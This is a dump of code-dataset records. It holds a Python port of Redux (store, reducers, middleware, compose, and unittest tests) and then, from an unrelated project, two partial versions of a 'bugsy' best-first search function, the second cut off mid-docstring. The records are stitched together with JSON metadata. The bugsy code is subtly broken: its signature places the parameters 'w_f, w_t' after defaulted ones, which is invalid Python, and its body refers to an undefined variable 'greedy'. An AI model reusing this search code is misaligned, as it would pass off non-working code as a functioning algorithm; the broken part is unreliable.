None\n\taction_creator_functions = None\n\tdef setUp(self):\n\t\tself.store = create_store(todos)\n\t\tself.action_creator_functions = dict(action_creators)\n\t\tfor key in self.action_creator_functions:\n\t\t\tif not hasattr(self.action_creator_functions[key], '__call__'):\n\t\t\t\tdel self.action_creator_functions[key]\n\t\n\tdef test_wraps_action_creators_with_dispatch_function(self):\n\t\tbound_action_creators = bind_action_creators(action_creators, self.store['dispatch'])\n\t\tself.assertEqual(bound_action_creators.keys(), self.action_creator_functions.keys())\n\t\n\t\taction = bound_action_creators['add_todo']('Hello')\n\t\tself.assertEqual(action, action_creators['add_todo']('Hello'))\n\t\t\n\t\tself.assertEqual(self.store['get_state'](), [dict(id=1, text='Hello')])\n\t\n\tdef test_skips_non_function_values_in_the_passed_object(self):\n\t\tbound_action_creators = bind_action_creators(dict(\n\t\t\tfoo=42,\n\t\t\tbar='baz',\n\t\t\twow=None,\n\t\t\tmuch={},\n\t\t\t**action_creators\n\t\t), self.store['dispatch'])\n\t\t\n\t\tself.assertEqual(bound_action_creators.keys(), self.action_creator_functions.keys())\n\t\n\tdef test_supports_wrapping_single_function_only(self):\n\t\taction_creator = action_creators['add_todo']\n\t\tbound_action_creator = bind_action_creators(action_creator, self.store['dispatch'])\n\t\t\n\t\taction = bound_action_creator('Hello')\n\t\tself.assertEqual(action, action_creator('Hello'))\n\t\tself.assertEqual(self.store['get_state'](), [dict(id=1, text='Hello')])\n\t\n\tdef test_throws_for_undefined_action_creator(self):\n\t\twith self.assertRaises(Exception) as e:\n\t\t\tbind_action_creators(None, self.store['dispatch'])\n\t\tself.assertTrue(re.search(r'bind_action_creators expected an object or a function, instead received None', str(e.exception)))\n\t\n\tdef test_throws_for_a_primative_action_creator(self):\n\t\twith self.assertRaises(Exception) as e:\n\t\t\tbind_action_creators('string', self.store['dispatch'])\n\t\tself.assertTrue(re.search('bind_action_creators expected an object or a function, instead received <class \\'str\\'>', str(e.exception)))\nif __name__ == '__main__':\n\tunittest.main()", "id": "399928", "language": "Python", "matching_score": 2.618128538131714, "max_stars_count": 32, "path": "test/test_bind_action_creators.py" }, { "content": "def bind_action_creator(action_creator, dispatch):\n\treturn lambda *args: dispatch(action_creator(*args))\n\t\ndef bind_action_creators(action_creators=None, dispatch=None):\n\t\"\"\"\n \tTurns an object whose values are action creators, into an object with the\n \tsame keys, but with every function wrapped into a `dispatch` call so they\n \tmay be invoked directly. This is just a convenience method, as you can call\n \t`store['dispatch'](MyActionCreators['doSomething']())` yourself just fine.\n \n \tFor convenience, you can also pass a single function as the first argument,\n \tand get a function in return.\n \n \t@param {Function|Object} actionCreators An object whose values are action\n \tcreator functions.\n \tYou may also pass a single function.\n \n \t@param {Function} dispatch The `dispatch` function available on your Redux\n \tstore.\n \t\n \t@returns {Function|Object} The object mimicking the original object, but with\n \tevery action creator wrapped into the `dispatch` call. If you passed a\n \tfunction as `actionCreators`, the return value will also be a single\n \tfunction.\n\t\"\"\"\n\tif hasattr(action_creators, '__call__'):\n\t\treturn bind_action_creator(action_creators, dispatch)\n\tif type(action_creators) != dict or action_creators == None:\n\t\traise Exception('bind_action_creators expected an object or a function, instead received {}.'.format('None' if action_creators == None else type(action_creators)))\n\t\n\tbound_action_creators = {}\n\tfor key in action_creators:\n\t\taction_creator = action_creators[key]\n\t\tif hasattr(action_creator, '__call__'):\n\t\t\tbound_action_creators[key] = bind_action_creator(action_creator, dispatch)\n\treturn bound_action_creators", "id": "9314993", "language": "Python", "matching_score": 1.0957093238830566, "max_stars_count": 32, "path": "python_redux/bind_action_creators.py" }, { "content": "\"\"\"\n * Composes single-argument functions from right to left. The rightmost\n * function can take multiple arguments as it provides the signature for\n * the resulting composite function.\n *\n * @param {...Function} funcs The functions to compose.\n * @returns {Function} A function obtained by composing the argument functions\n * from right to left. For example, compose(f, g, h) is identical to doing\n * lambda *args: f(g(h(*args)))\n\"\"\"\ndef compose(*funcs):\n\tif len(funcs) == 0:\n\t\treturn lambda *args: args[0] if args else None\n\tif len(funcs) == 1:\n\t\treturn funcs[0]\n\t\n\t# reverse array so we can reduce from left to right\n\tfuncs = list(reversed(funcs))\n\tlast = funcs[0]\n\trest = funcs[1:]\n\t\n\tdef composition(*args):\n\t\tcomposed = last(*args)\n\t\tfor f in rest:\n\t\t\tcomposed = f(composed)\n\t\treturn composed\n\treturn composition\n\n", "id": "3343235", "language": "Python", "matching_score": 0.6340720653533936, "max_stars_count": 32, "path": "python_redux/compose.py" }, { "content": "from test.helpers.action_types import ADD_TODO, DISPATCH_IN_MIDDLE, THROW_ERROR\n\ndef id(state = []):\n\tid = 0\n\tfor item in state:\n\t\tid = item.get('id') if item.get('id') > id else id\n\treturn id + 1\n\ndef todos(state=None, action={}):\n\tif state is None:\n\t\tstate = []\n\tif action.get('type') == ADD_TODO:\n\t\treturn list(state) + [{\n\t\t\t'id': id(state),\n\t\t\t'text': action['text']\n\t\t}]\n\telse:\n\t\treturn state\n\ndef todos_reverse(state=None, action={}):\n\tif state is None:\n\t\tstate = []\n\tif action.get('type') == ADD_TODO:\n\t\treturn [{\n\t\t\t'id': id(state),\n\t\t\t'text': action.get('text')\n\t\t}] + list(state)\n\telse:\n\t\treturn state\n\ndef dispatch_in_middle_of_reducer(state=None, action={}):\n\tif state is None:\n\t\tstate = []\n\tif action.get('type') == DISPATCH_IN_MIDDLE:\n\t\taction.get('bound_dispatch_fn')()\n\t\treturn state\n\telse:\n\t\treturn state\n\ndef error_throwing_reducer(state=None, action={}):\n\tif state is None:\n\t\tstate = []\n\tif action.get('type') == THROW_ERROR:\n\t\traise Exception()\n\telse:\n\t\treturn state\n\nreducers = {\n\t'todos': todos,\n\t'todos_reverse': todos_reverse,\n\t'dispatch_in_middle_of_reducer': dispatch_in_middle_of_reducer,\n\t'error_throwing_reducer': error_throwing_reducer\n}", "id": "6642993", "language": "Python", "matching_score": 0.8275585770606995, "max_stars_count": 32, "path": "test/helpers/reducers.py" }, { "content": "from .utils.warning import warning\nfrom random import choice\n\nACTION_TYPES = {\n\t'INIT': '@@redux/INIT'\n}\n\ndef get_undefined_state_error_message(key, action):\n\taction_type = action and action['type']\n\taction_name = action_type and str(action_type) or 'an action'\n\treturn 'Given action \"{}\", reducer \"{}\" returned None. To ignore an action you must return the previous state'.format(action_name, key)\n\ndef get_unexpected_state_shape_warning_message(input_state, reducers, action, unexpected_key_cache):\n\treducer_keys = reducers.keys()\n\targument_name = 'preloaded_state argument passed to create_store' if action and type(action) == dict and action.get('type') == ACTION_TYPES['INIT'] else 'previous state recieved by reducer'\n\t\n\tif len(reducer_keys) == 0:\n\t\treturn 'Store does not have a valid reducer. Make sure the argument passed to combine_reducers is an object whose values are reducers.'\n\t\n\tif not type(input_state) == dict:\n\t\treturn 'The {} has an unexpected type of {}. Expected argument to be an object with the following keys: \"{}\"'.format(\n\t\t\targument_name,\n\t\t\tstr(type(input_state)).replace('\\'', '\"'),\n\t\t\t'\", \"'.join(reducer_keys)\n\t\t)\n\t\n\tunexpected_keys = [key for key in input_state.keys() if not reducers.get(key) and not unexpected_key_cache.get(key)]\n\tfor key in unexpected_keys:\n\t\tunexpected_key_cache[key] = True\n\t\n\tif len(unexpected_keys) > 0:\n\t\treturn 'Unexpected {} \"{}\" found in {}. Expected to find one of the known reducer keys instead: \"{}\". Unexpected keys will be ignored.'.format(\n\t\t\t'keys' if len(unexpected_keys) > 1 else 'key',\n\t\t\t'\", \"'.join(unexpected_keys),\n\t\t\targument_name,\n\t\t\t'\", \"'.join(reducer_keys)\n\t\t)\n\t\ndef assert_reducer_sanity(reducers):\n\tfor key in reducers.keys():\n\t\treducer = reducers[key]\n\t\tinitial_state = reducer(None, { 'type': ACTION_TYPES['INIT'] })\n\n\t\tif initial_state is None:\n\t\t\traise Exception('Reducer \"{}\" returned undefined during initialization. If the state passed to the reducer is undefined, you must explicitly return the initial state. The initial state may not be undefined.'.format(key))\n\t\tty = '@@redux/PROBE_UNKNOWN_ACTION_{}'.format('.'.join(choice('0123456789ABCDEFGHIJKLM') for i in range(20)))\n\t\tif reducer(None, { 'type': ty }) is None:\n\t\t\tmsg = 'Reducer \"{}\" returned undefined when probed with a random type. Don\\'t try to handle {} or other actions in \"redux/*\" \\namespace. They are considered private. Instead, you must return the current state for any unknown actions, unless it is undefined, in which case you must return initial state, regardless of the action type. The initial state may not be undefined.'.format(key, ACTION_TYPES['INIT'])\n\t\t\traise Exception(msg)\n\t\n\"\"\"\n * Turns an object whose values are different reducer functions, into a single\n * reducer function. It will call every child reducer, and gather their results\n * into a single state object, whose keys correspond to the keys of the passed\n * reducer functions.\n *\n * @param {Object} reducers An object whose values correspond to different\n * reducer functions that need to be combined into one. One handy way to obtain\n * it is to use ES6 `import * as reducers` syntax. The reducers may never return\n * undefined for any action. Instead, they should return their initial state\n * if the state passed to them was undefined, and the current state for any\n * unrecognized action.\n *\n * @returns {Function} A reducer function that invokes every reducer inside the\n * passed object, and builds a state object with the same shape.\n\"\"\"\ndef combine_reducers(reducers):\n\treducer_keys = reducers.keys()\n\tfinal_reducers = {}\n\tfor key in reducer_keys:\n\t\tif hasattr(reducers[key], '__call__'):\n\t\t\tfinal_reducers[key] = reducers[key]\n\t\n\tfinal_reducer_keys = final_reducers.keys()\n\tsanity_error = None\n\tunexpected_key_cache = {}\n\t\n\ttry:\n\t\tassert_reducer_sanity(final_reducers)\n\texcept Exception as e:\n\t\tsanity_error = e\n\t\n\tdef combination(state=None, action = None):\n\t\tnonlocal sanity_error\n\t\tif state is None:\n\t\t\tstate = {}\n\t\tif sanity_error:\n\t\t\traise sanity_error\n\t\twarning_message = get_unexpected_state_shape_warning_message(state, final_reducers, action, unexpected_key_cache)\n\t\tif warning_message:\n\t\t\twarning(warning_message)\n\t\t\n\t\thas_changed = False\n\t\tnext_state = {}\n\t\tfor key in final_reducer_keys:\n\t\t\treducer = final_reducers.get(key)\n\t\t\tprevious_state_for_key = state.get(key) if type(state) == dict else state\n\t\t\tnext_state_for_key = reducer(previous_state_for_key, action)\n\t\t\tif next_state_for_key is None:\n\t\t\t\terror_message = get_undefined_state_error_message(key, action)\n\t\t\t\traise Exception(error_message)\n\t\t\tnext_state[key] = next_state_for_key\n\t\t\thas_changed = has_changed or next_state_for_key != previous_state_for_key\n\t\treturn next_state if has_changed else state\n\treturn combination\n\t", "id": "1344378", "language": "Python", "matching_score": 2.3372223377227783, "max_stars_count": 32, "path": "python_redux/combine_reducers.py" }, { "content": "ACTION_TYPES = {\n\t'INIT': '@@redux/INIT'\n}\n\n\"\"\"\n * Creates a Redux store that holds the state tree.\n * The only way to change the data in the store is to call `dispatch()` on it.\n *\n * There should only be a single store in your app. To specify how different\n * parts of the state tree respond to actions, you may combine several reducers\n * into a single reducer function by using `combineReducers`.\n *\n * @param {Function} reducer A function that returns the next state tree, given\n * the current state tree and the action to handle.\n *\n * @param {any} [preloadedState] The initial state. You may optionally specify it\n * to hydrate the state from the server in universal apps, or to restore a\n * previously serialized user session.\n * If you use `combineReducers` to produce the root reducer function, this must be\n * an object with the same shape as `combineReducers` keys.\n *\n * @param {Function} enhancer The store enhancer. You may optionally specify it\n * to enhance the store with third-party capabilities such as middleware,\n * time travel, persistence, etc. The only store enhancer that ships with Redux\n * is `applyMiddleware()`.\n *\n * @returns {Store} A Redux store that lets you read the state, dispatch actions\n * and subscribe to changes.\n\"\"\"\ndef create_store(reducer=None, preloaded_state=None, enhancer=None):\n\tif hasattr(preloaded_state, '__call__') and enhancer is None:\n\t\tenhancer = preloaded_state\n\t\tpreloaded_state = None\n\t\n\tif enhancer is not None:\n\t\tif not hasattr(enhancer, '__call__'):\n\t\t\traise Exception('Expected the enhancer to be a function')\n\t\treturn enhancer(create_store)(reducer, preloaded_state)\n\t\n\tif not hasattr(reducer, '__call__'):\n\t\traise Exception('Expected the reducer to be a function')\n\t\t\n\tcurrent_reducer = reducer\n\tcurrent_state = preloaded_state\n\tcurrent_listeners = []\n\tnext_listeners = current_listeners\n\tis_dispatching = False\n\t\n\tdef ensure_can_mutate_next_listeners():\n\t\tnonlocal next_listeners, current_listeners\n\t\tif next_listeners == current_listeners:\n\t\t\tnext_listeners = [c for c in current_listeners]\n\t\n\t\"\"\"\n\t * Reads the state tree managed by the store.\n\t *\n\t * @returns {any} The current state tree of your application.\n\t\"\"\"\n\tdef get_state():\n\t\tnonlocal current_state\n\t\treturn current_state\n\t\n\t\"\"\"\n\t * Adds a change listener. It will be called any time an action is dispatched,\n\t * and some part of the state tree may potentially have changed. You may then\n\t * call `getState()` to read the current state tree inside the callback.\n\t *\n\t * You may call `dispatch()` from a change listener, with the following\n\t * caveats:\n\t *\n\t * 1. The subscriptions are snapshotted just before every `dispatch()` call.\n\t * If you subscribe or unsubscribe while the listeners are being invoked, this\n\t * will not have any effect on the `dispatch()` that is currently in progress.\n\t * However, the next `dispatch()` call, whether nested or not, will use a more\n\t * recent snapshot of the subscription list.\n\t *\n\t * 2. The listener should not expect to see all state changes, as the state\n\t * might have been updated multiple times during a nested `dispatch()` before\n\t * the listener is called. It is, however, guaranteed that all subscribers\n\t * registered before the `dispatch()` started will be called with the latest\n\t * state by the time it exits.\n\t *\n\t * @param {Function} listener A callback to be invoked on every dispatch.\n\t * @returns {Function} A function to remove this change listener.\n\t\"\"\"\n\tdef subscribe(listener=None):\n\t\tnonlocal next_listeners\n\t\tif not hasattr(listener, '__call__'):\n\t\t\traise Exception('Expected listener to be a function')\n\t\t\n\t\tis_subscribed = True\n\t\tensure_can_mutate_next_listeners()\n\t\tnext_listeners.append(listener)\n\t\t\n\t\tdef unsubscribe():\n\t\t\tnonlocal is_subscribed\n\t\t\tif not is_subscribed:\n\t\t\t\treturn\n\t\t\tis_subscribed = False\n\t\t\tensure_can_mutate_next_listeners()\n\t\t\tindex = next_listeners.index(listener)\n\t\t\tdel next_listeners[index]\n\t\t\n\t\treturn unsubscribe\n\t\n\t\"\"\"\n\t * Dispatches an action. It is the only way to trigger a state change.\n\t *\n\t * The `reducer` function, used to create the store, will be called with the\n\t * current state tree and the given `action`. Its return value will\n\t * be considered the **next** state of the tree, and the change listeners\n\t * will be notified.\n\t *\n\t * The base implementation only supports plain object actions. If you want to\n\t * dispatch a Promise, an Observable, a thunk, or something else, you need to\n\t * wrap your store creating function into the corresponding middleware. For\n\t * example, see the documentation for the `redux-thunk` package. Even the\n\t * middleware will eventually dispatch plain object actions using this method.\n\t *\n\t * @param {Object} action A plain object representing what changed. It is\n\t * a good idea to keep actions serializable so you can record and replay user\n\t * sessions, or use the time travelling `redux-devtools`. An action must have\n\t * a `type` property which may not be `undefined`. It is a good idea to use\n\t * string constants for action types.\n\t *\n\t * @returns {Object} For convenience, the same action object you dispatched.\n\t *\n\t * Note that, if you use a custom middleware, it may wrap `dispatch()` to\n\t * return something else (for example, a Promise you can await).\n\t\"\"\"\n\tdef dispatch(action=None):\n\t\tnonlocal is_dispatching, current_state, current_listeners, next_listeners\n\t\tif not type(action) == dict:\n\t\t\traise Exception('Actions must be plain dictionaries. Consider adding middleware to change this')\n\t\tif action.get('type') is None:\n\t\t\traise Exception('Actions may not have an undefined \"type\" property.\\n Have you misspelled a constants?')\n\t\tif is_dispatching:\n\t\t\traise Exception('Reducers may not dispatch actions')\n\t\t\n\t\ttry:\n\t\t\tis_dispatching = True\n\t\t\tcurrent_state = current_reducer(current_state, action)\n\t\tfinally:\n\t\t\tis_dispatching = False\n\t\t\n\t\tlisteners = current_listeners = next_listeners\n\t\tfor l in listeners:\n\t\t\tl()\n\t\treturn action\t\n\t\n\t\"\"\"\n\t * Replaces the reducer currently used by the store to calculate the state.\n\t *\n\t * You might need this if your app implements code splitting and you want to\n\t * load some of the reducers dynamically. You might also need this if you\n\t * implement a hot reloading mechanism for Redux.\n\t *\n\t * @param {Function} nextReducer The reducer for the store to use instead.\n\t * @returns {void}\n\t\"\"\"\n\tdef replace_reducer(next_reducer=None):\n\t\tnonlocal current_reducer\n\t\tif not hasattr(next_reducer, '__call__'):\n\t\t\traise Exception('Expected next_reducer to be a function')\n\t\tcurrent_reducer = next_reducer\n\t\tdispatch({ 'type': ACTION_TYPES['INIT'] })\n\t\n\t# TODO: Figure out how to add the observables\n\t\n\t# When a store is created, an \"INIT\" action is dispatched so that every\n\t# reducer returns their initial state. This effectively populates\n\t# the initial state tree.\n\tdispatch({ 'type': ACTION_TYPES['INIT'] })\n\t\n\treturn {\n\t\t'dispatch': dispatch,\n\t\t'subscribe': subscribe,\n\t\t'get_state': get_state,\n\t\t'replace_reducer': replace_reducer\n\t}", "id": "10346264", "language": "Python", "matching_score": 3.36234974861145, "max_stars_count": 32, "path": "python_redux/create_store.py" }, { "content": "from .compose import compose\ndef apply_middleware(*middlewares):\n\t\"\"\"Creates a store enhancer that applies middleware to the dispatch method\n\tof the Redux store. This is handy for a variety of tasks, such as expressing\n\tasynchronous actions in a concise manner, or logging every action payload.\n \n\tSee `redux-thunk` package as an example of the Redux middleware.\n \n\tBecause middleware is potentially asynchronous, this should be the first\n\tstore enhancer in the composition chain.\n \n\tNote that each middleware will be given the `dispatch` and `getState` functions\n\tas named arguments.\n \n\t@param {*Function} middlewares The middleware chain to be applied.\n\t@returns {Function} A store enhancer applying the middleware.\n\t\"\"\"\n\tdef chain(create_store):\n\t\tdef inner(reducer, preloaded_state=None, enhancer=None):\n\t\t\tstore = create_store(reducer, preloaded_state, enhancer)\n\t\t\tdispatch = store.get('dispatch')\n\t\t\tchain = []\n\t\t\t\n\t\t\tmiddleware_api = {\n\t\t\t\t'get_state': store.get('get_state'),\n\t\t\t\t'dispatch': lambda action: dispatch(action)\n\t\t\t}\n\t\t\tchain = [middleware(middleware_api) for middleware in middlewares]\n\t\t\tdispatch = compose(*chain)(store.get('dispatch'))\n\t\t\t\n\t\t\tstore_to_return = store.copy()\n\t\t\tstore_to_return['dispatch'] = dispatch\n\t\t\treturn store_to_return\n\t\treturn inner\n\treturn chain\n ", "id": "7325851", "language": "Python", "matching_score": 1.9709751605987549, "max_stars_count": 32, "path": "python_redux/apply_middleware.py" }, { "content": "from .apply_middleware import apply_middleware\nfrom .bind_action_creators import bind_action_creators\nfrom .combine_reducers import combine_reducers\nfrom .compose import compose\nfrom .create_store import create_store\n\n__all__ = ['apply_middleware', 'bind_action_creators', 'combine_reducers', 'compose', 'create_store']", "id": "3159749", "language": "Python", "matching_score": 1.78304922580719, "max_stars_count": 32, "path": "python_redux/__init__.py" }, { "content": "from .test_apply_middleware import TestApplyMiddleware\nfrom .test_bind_action_creators import TestBindActionCreators\nfrom .test_combine_reducers import TestCombineReducers\nfrom .test_compose import TestComposeMethod\nfrom .test_create_store import TestCreateStoreMethod\n\n__all__ = ['TestApplyMiddleware', 'TestBindActionCreators', 'TestCombineReducers', 'TestComposeMethod', 'TestCreateStoreMethod']", "id": "7275167", "language": "Python", "matching_score": 1.345743179321289, "max_stars_count": 32, "path": "test/__init__.py" }, { "content": "import unittest\n\nall_tests = unittest.defaultTestLoader.discover('./test')\nresults = unittest.TestResult()\nall_tests.run(results)\n\nprint(results)", "id": "3872706", "language": "Python", "matching_score": 0, "max_stars_count": 32, "path": "tests.py" }, { "content": "import logging\n\"\"\"\n * Prints a warning in the console if it exists.\n *\n * @param {String} message The warning message.\n * @returns {void}\n\"\"\"\ndef warning(message):\n\tlogging.warning(message)\n", "id": "2587349", "language": "Python", "matching_score": 0, "max_stars_count": 32, "path": "python_redux/utils/warning.py" } ]
1.783049
trattner
[ { "content": "#LIS Proto-UROP project\r\n#Michael and Andy \r\n#2/25/2016\r\nimport pdb\r\nfrom heapq import heappush, heappop\r\n\r\nimport planGlobals as glob\r\nfrom traceFile import debugMsg, debug, trAlways, tr\r\n\r\n\"\"\"\r\nProcedures and classes for BUGSY as described in\r\nhttps://www.jair.org/media/4047/live-4047-7225-jair.pdf \r\n\"\"\"\r\n\r\n\r\nclass SearchNode:\r\n \"\"\"A node in a search tree\"\"\"\r\n def __init__(self, action, state, parent, actionCost, heuristicCost = 0):\r\n self.state = state\r\n self.action = action\r\n self.actionCost = actionCost\r\n self.heuristicCost = heuristicCost\r\n \"\"\"Action that moves from C{parent} to C{state}\"\"\"\r\n self.parent = parent\r\n if self.parent:\r\n self.cost = self.parent.cost + actionCost\r\n \"\"\"The cost of the path from the root to C{self.state}\"\"\"\r\n else:\r\n self.cost = actionCost\r\n \r\n def path(self):\r\n \"\"\"@returns: list of C{(action, state)} pairs from root to this node\"\"\"\r\n if self.parent is None:\r\n return [(self.action, self.state)]\r\n else:\r\n return self.parent.path() + [(self.action, self.state)]\r\n\r\n def costs(self):\r\n \"\"\"@returns: list of C{(action, state)} pairs from root to this node\"\"\"\r\n if self.parent is None:\r\n return [self.cost]\r\n else:\r\n return self.parent.costs() + [self.cost]\r\n\r\n def inPath(self, s):\r\n \"\"\"@returns: C{True} if state C{s} is in the path from here to\r\n the root\"\"\"\r\n if s == self.state:\r\n return True\r\n elif self.parent is None:\r\n return False\r\n else:\r\n return self.parent.inPath(s)\r\n\r\n def __repr__(self):\r\n if self.parent is None:\r\n return str(self.state)\r\n else:\r\n return repr(self.parent) + \\\r\n \"-\"+str(self.action)+\"->\"+str(self.state)\r\n\r\n __str__ = __repr__\r\n\r\n\r\n# using general parameters/format found in ucSearchPQ.py from <NAME>\r\n\r\ndef bugsy(initialState, goalTest, actions, successor,\r\n heuristic = lambda s: 0, maxNodes = 10000,\r\n visitF = None, expandF = None, hmax = float('inf'),\r\n prevExpandF = None, checkExpandF = None,\r\n multipleSuccessors = False,\r\n verbose = False, printFinal = True, maxHDelta = None,\r\n maxCost = float('inf'),\r\n fail = True,\r\n postFailScan = True,\r\n returnFirstGoal = False,\r\n w_f, w_t):\r\n \r\n \"\"\"\r\n @param initialState: root of the search\r\n @param goalTest: function from state to Boolean\r\n @param actions: function from state to list of actions\r\n @param successor: function from state and action to next state and cost\r\n @param heuristic: function from state to estimated cost to reach a goal;\r\n defaults to a heuristic of 0, making this uniform cost search\r\n @param maxNodes: kill the search after it expands this many nodes\r\n @param visitF: ?\r\n @param expandF: ?\r\n @param hmax: max heuristic val\r\n @param prevExpandF: ?\r\n @param checkExpandF: ?\r\n @param multipleSuccessors: are there multiple successors of a state allowed?\r\n @param verbose: print a bunch of things while running\r\n @param printFinal: print final solution\r\n @param \r\n @returns: path from initial state to a goal state as a list of\r\n (action, state) tuples and a list of path costs from start to\r\n each state in the path\r\n \"\"\"\r\n \r\n somewhatVerbose = verbose\r\n verbose = False\r\n\r\n hVals = {}\r\n def getH(state):\r\n if not state in hVals:\r\n hv = heuristic(state)\r\n hVals[state] = hv\r\n return hVals[state]\r\n\r\n startNode = SearchNode(None, initialState, None, 0,\r\n getH(initialState))\r\n if goalTest(initialState):\r\n return startNode.path(), [0]\r\n if startNode.heuristicCost >= hmax:\r\n trAlways('Root has infinite heuristic value', pause = True)\r\n return None, None\r\n \r\n agenda = []\r\n count = 1\r\n countExpanded = 0\r\n heappush(agenda, (0, count, startNode))\r\n #heap has cost, count = nodes visited, node class\r\n expanded = set([])\r\n while not agenda == [] and maxNodes > count:\r\n if verbose:\r\n print \"agenda: \", agenda\r\n (util, _, n) = heappop(agenda)\r\n ######THIS SHOULDNT HAPPEN?#########\r\n if n.state in expanded:\r\n if prevExpandF: prevExpandF(n)\r\n if verbose:\r\n print \"previously expanded: \", n.cost, n.state\r\n raw_input('okay?')\r\n continue\r\n expanded.add(n.state)\r\n countExpanded += 1\r\n\r\n if checkExpandF: # check legality on demand\r\n n = checkExpandF(n) # possibly modify the node or set to None\r\n if n is None: continue\r\n\r\n if expandF: expandF(n)\r\n if verbose: print \"expanding node: \", n.cost, n.state\r\n if goalTest(n.state):\r\n # We're done!\r\n if somewhatVerbose or verbose:\r\n print 'Found goal state', n.state\r\n if somewhatVerbose or verbose or printFinal:\r\n print count, 'nodes visited;', \\\r\n countExpanded, 'states expanded;', \\\r\n 'solution cost:', n.cost\r\n if getH(n.state) > 0:\r\n debugMsg('heuristic', 'positive value at goal state',\r\n n.state, getH(n.state))\r\n return n.path(), n.costs()\r\n if n.cost > maxCost:\r\n if True: #somewhatVerbose or verbose:\r\n print \"Search failed: exceeded max cost \", n.cost\r\n return None, None\r\n\r\n if getH(n.state)== 0:\r\n debugMsg('heuristic', 'zero value at non-goal state', n.state)\r\n\r\n applicableActions = actions(n.state)\r\n\r\n if len(applicableActions) == 0 and verbose:\r\n raw_input('no children')\r\n if somewhatVerbose or verbose:\r\n print \" \", n.cost, \": expanding: \", n\r\n print \" \", len(applicableActions), 'actions'\r\n if countExpanded % 10000 == 0:\r\n print 'cost', n.cost, 'nodes', count\r\n successors = set()\r\n for a in applicableActions:\r\n succ = successor(n.state, a)\r\n if not succ: continue\r\n if not multipleSuccessors:\r\n succ = [succ]\r\n if verbose: print ' ', len(succ), 'successors'\r\n for (newS, cost) in succ:\r\n if newS in successors: continue\r\n else: successors.add(newS)\r\n if verbose or somewhatVerbose:\r\n print ' ', cost, newS\r\n hValue = getH(newS)\r\n if newS in expanded:\r\n if prevExpandF and visitF:\r\n newN = SearchNode(a, newS, n, cost, hValue)\r\n visitF(n.state, n.cost, n.heuristicCost, a,\r\n newS, newN.cost, hValue)\r\n prevExpandF(newN)\r\n if maxHDelta and n.heuristicCost - hValue > maxHDelta:\r\n print 'current h =', n.heuristicCost, 'new h =', hValue\r\n raw_input('H delta exceeded')\r\n if verbose:\r\n print \"previously expanded: \", \\\r\n newN.cost, newN.state\r\n raw_input('okay?')\r\n else:\r\n count += 1\r\n tr('h', hValue)\r\n if hValue >= hmax: continue\r\n newN = SearchNode(a, newS, n, cost, hValue)\r\n if visitF: visitF(n.state, n.cost, n.heuristicCost, \r\n a, newS, newN.cost, hValue)\r\n if maxHDelta and n.heuristicCost - hValue > maxHDelta:\r\n print 'current h =', n.heuristicCost, \\\r\n 'new h =', hValue\r\n raw_input('H delta exceeded')\r\n if returnFirstGoal and goalTest(newS):\r\n return newN.path(), newN.costs()\r\n heappush(agenda,\r\n ((1 - greedy) * newN.cost + \\\r\n greedy * hValue, count, newN))\r\n\r\n if somewhatVerbose or verbose or count >= maxNodes:\r\n print \"Search failed after visiting \", count, \" states.\"\r\n\r\n if postFailScan:\r\n while not agenda == []:\r\n (util, _, n) = heappop(agenda)\r\n if n.state in expanded: continue\r\n if checkExpandF: # check legality on demand\r\n n = checkExpandF(n) # possibly modify the node or set to None\r\n if n is None: continue\r\n if goalTest(n.state):\r\n if expandF: expandF(n) # Treat like an expansion\r\n print 'Found goal on agenda, returning it'\r\n return n.path(), n.costs()\r\n\r\n return None, None\r\n", "id": "1928630", "language": "Python", "matching_score": 8.005810737609863, "max_stars_count": 0, "path": "bugsy_generalized.py" }, { "content": "#bugsy\r\n\r\nimport pdb\r\nfrom heapq import heappush, heappop\r\n\r\nimport planGlobals as glob\r\nfrom traceFile import debugMsg, debug, trAlways, tr\r\n\r\nimport time\r\nimport math\r\n\r\n\"\"\"\r\nProcedures and classes for BUGSY as described in\r\nhttps://www.jair.org/media/4047/live-4047-7225-jair.pdf \r\n\"\"\"\r\n\r\nclass SearchNode:\r\n \"\"\"A node in a search tree\"\"\"\r\n def __init__(self, action, state, parent, actionCost, heuristicCost = 0):\r\n self.state = state\r\n self.action = action\r\n self.actionCost = actionCost\r\n self.heuristicCost = heuristicCost\r\n \"\"\"Action that moves from C{parent} to C{state}\"\"\"\r\n self.parent = parent\r\n if self.parent:\r\n self.cost = self.parent.cost + actionCost\r\n \"\"\"The cost of the path from the root to C{self.state}\"\"\"\r\n else:\r\n self.cost = actionCost\r\n \r\n def path(self):\r\n \"\"\"@returns: list of C{(action, state)} pairs from root to this node\"\"\"\r\n if self.parent is None:\r\n return [(self.action, self.state)]\r\n else:\r\n return self.parent.path() + [(self.action, self.state)]\r\n\r\n def costs(self):\r\n \"\"\"@returns: list of C{(action, state)} pairs from root to this node\"\"\"\r\n if self.parent is None:\r\n return [self.cost]\r\n else:\r\n return self.parent.costs() + [self.cost]\r\n\r\n def inPath(self, s):\r\n \"\"\"@returns: C{True} if state C{s} is in the path from here to\r\n the root\"\"\"\r\n if s == self.state:\r\n return True\r\n elif self.parent is None:\r\n return False\r\n else:\r\n return self.parent.inPath(s)\r\n\r\n def __repr__(self):\r\n if self.parent is None:\r\n return str(self.state)\r\n else:\r\n return repr(self.parent) + \\\r\n \"-\"+str(self.action)+\"->\"+str(self.state)\r\n\r\n __str__ = __repr__\r\n\r\n\r\n# using general parameters/format found in ucSearchPQ.py from Les<NAME>\r\ndef bugsy(initialState, goalTest, actions, successor,\r\n heuristic = lambda s: 0, maxNodes = 10000,\r\n visitF = None, expandF = None, hmax = float('inf'),\r\n prevExpandF = None, checkExpandF = None,\r\n multipleSuccessors = False,\r\n verbose = False, printFinal = True, maxHDelta = None,\r\n maxCost = float('inf'),\r\n fail = True,\r\n postFailScan = True,\r\n returnFirstGoal = False,\r\n w_f, w_t):\r\n \r\n \"\"\"\r\n @param initialState: root of the search\r\n @param goalTest: function from state to Boolean\r\n @param actions: function from state to list of actions\r\n @param successor: function from state and action to next state and cost\r\n @param heuristic: function from state to estimated cost to reach a goal;\r\n defaults to a heuristic of 0, making this uniform cost bugsy\r\n @param maxNodes: kill the search after it expands this many nodes\r\n @param visitF: function occurring on visits\r\n @param expandF: function occurring on expansion\r\n @param hmax: max heuristic val\r\n @param prevExpandF: function occurring if previously node has been expanded\r\n @param checkExpandF: check legality of expanding node n?\r\n @param multipleSuccessors: are there multiple successors of a state allowed?\r\n @param verbose: print a bunch of things while running\r\n @param printFinal: print final solution\r\n @param maxHDelta: maximum change in heuristic across parent-child nodes\r\n @param maxCost: maximum cost of a state allowed\r\n @param fail: ?\r\n @param postFailScan: perform a scan after failure\r\n @param returnFirstGoal: 